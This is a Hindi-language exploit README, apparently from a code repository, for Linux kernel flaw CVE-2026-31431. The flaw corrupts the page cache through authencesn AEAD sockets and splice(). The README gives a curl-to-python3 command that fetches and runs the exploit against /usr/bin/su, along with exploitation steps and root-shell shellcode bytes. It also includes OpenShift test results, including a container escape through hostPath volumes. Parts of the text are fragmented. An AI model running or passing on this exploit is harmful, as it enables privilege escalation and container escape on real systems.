
लिनक्स कर्नेल CVE-2026-31431 के लिए एक्सप्लॉइट, जो authencesn AEAD हेरफेर के माध्यम से पेज कैश भ्रष्टाचार का कारण बनता है, जो कंटेनरों और OpenShift वातावरणों में विशेषाधिकार वृद्धि को लक्षित करता है।
authencesn AEAD हेरफेर के माध्यम से Linux कर्नेल पेज कैश भ्रष्टाचार।
RHEL 9.6 कर्नेल के साथ कई OpenShift 4.20.16 क्लस्टरों पर व्यापक परीक्षण के बाद:
पूर्ण विवरण के लिए व्यापक परीक्षण परिणाम अनुभाग देखें।
CVE-2026-31431 authencesn AEAD क्रिप्टोग्राफिक कार्यान्वयन में एक Linux कर्नेल भेद्यता है जो विशेषाधिकार-रहित प्रक्रियाओं को AF_ALG सॉकेट और splice() syscall हेरफेर के माध्यम से पठनीय फाइलों के पेज कैश को भ्रष्ट करने की अनुमति देती है।
परीक्षण से पता चलता है: पेज कैश भ्रष्टाचार विश्वसनीय रूप से काम करता है, लेकिन हमारे परीक्षण वातावरण में RHEL 9.6 कर्नेल पर विशेषाधिकार वृद्धि नहीं होती है।
CVSS स्कोर: 7.8 (उच्च)
प्रभावित: authencesn समर्थन वाले Linux कर्नेल संस्करण (2017-2026)
सार्वजनिक प्रकटीकरण: 29 अप्रैल, 2026
splice() syscall रैपर शामिल है/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### स्थानीय फ़ाइल से```bash
python3 exploit.py
su
क्या होगा:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**पेज कैश सत्यापन (भ्रष्टाचार की पुष्टि करता है):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
क्या नहीं होगा (परीक्षण के आधार पर):```bash
su
id -u
**निष्कर्ष:** पेज कैश भ्रष्टाचार सफल होता है, लेकिन विशेषाधिकार वृद्धि विफल हो जाती है।
## तकनीकी विवरण
### भेद्यता
Linux कर्नेल के `authencesn` (प्रमाणित एन्क्रिप्शन विद एसोसिएटेड डेटा - विस्तारित अनुक्रम संख्या) कार्यान्वयन में इसके इन-प्लेस संचालन हैंडलिंग में एक दोष है। AF_ALG सॉकेट पर सबमिट किए गए AEAD संचालन को संसाधित करते समय, एक पेज-कैश पेज कर्नेल की लिखने योग्य गंतव्य स्कैटरलिस्ट में समाप्त हो सकता है।
### शोषण तकनीक
1. **AF_ALG सॉकेट बनाएं** `authencesn(hmac(sha256),cbc(aes))` के साथ
2. **AEAD पैरामीटर कॉन्फ़िगर करें** (कुंजी, authsize)
3. **लक्षित setuid बाइनरी खोलें** (जैसे, `/usr/bin/su`)
4. **splice() का उपयोग करें** बाइनरी को पेज कैश में लाने के लिए
5. **इन-प्लेस AEAD संचालन ट्रिगर करें** जिससे पेज कैश में लेखन हो
6. **शेलकोड लिखें** एक बार में 4 बाइट्स
7. **संशोधित बाइनरी निष्पादित करें** रूट प्राप्त करने के लिए
### शेलकोड
शोषण एक 160-बाइट शेलकोड का उपयोग करता है जो `/usr/bin/su` को पैच करता है:
- पासवर्ड प्रमाणीकरण छोड़ने के लिए
- रूट शेल एक्सेस प्रदान करने के लिए
- अनविशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए सामान्य कार्यक्षमता बनाए रखने के लिए
## Python 3.9 संगतता
Python 3.9 और पुराने संस्करणों में मानक लाइब्रेरी में `os.splice()` नहीं है। इस शोषण में ctypes-आधारित कार्यान्वयन शामिल है:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
यह एक्सप्लॉइट इन पर काम करता है:
नोड कॉन्फ़िगरेशन:
परीक्षण परिणाम:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### परीक्षण वातावरण 2: नया OpenShift क्लस्टर (सत्यापन परीक्षण)
**क्लस्टर:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**नोड कॉन्फ़िगरेशन:**
- कर्नेल: 5.14.0-570.96.1.el9_6.x86_64 (परीक्षण 1 के समान)
- OpenShift: 4.20.16
- SCC: restricted-v2 (सत्यापित)
- UID: 1000810000 (यूज़र नेमस्पेस)
- क्षमताएँ: 0x0000000000000000 (शून्य)
**परीक्षण परिणाम:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
संगति: स्वतंत्र क्लस्टरों में 100% पुनरुत्पादनीय परिणाम
परिदृश्य A: hostPath वॉल्यूम के साथ (कंटेनर एस्केप संभव)```yaml volumes:
परिणाम: ✅ **कंटेनर एस्केप** - होस्ट पेज कैश को संशोधित करता है (डिवाइस 33, आईनोड 4288)
**परिदृश्य B: Restricted-v2 SCC (कोई hostPath नहीं)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
परिणाम: ❌ कोई कंटेनर एस्केप नहीं - केवल कंटेनर ओवरले को प्रभावित करता है (अलग inode)
महत्वपूर्ण निष्कर्ष: hostPath एक्सेस (क्षमताओं का नहीं) कंटेनर एस्केप के लिए निर्धारण कारक है।
संभावित स्पष्टीकरण (आगे शोध की आवश्यकता है):
रीड बनाम एक्ज़ीक्यूट कोड पाथ
mmap(PROT_READ) ऑपरेशन को प्रभावित करता हैmmap(PROT_EXEC) भ्रष्ट कैश को बायपास कर सकती हैंमेमोरी सुरक्षा
कर्नेल संस्करण विशिष्ट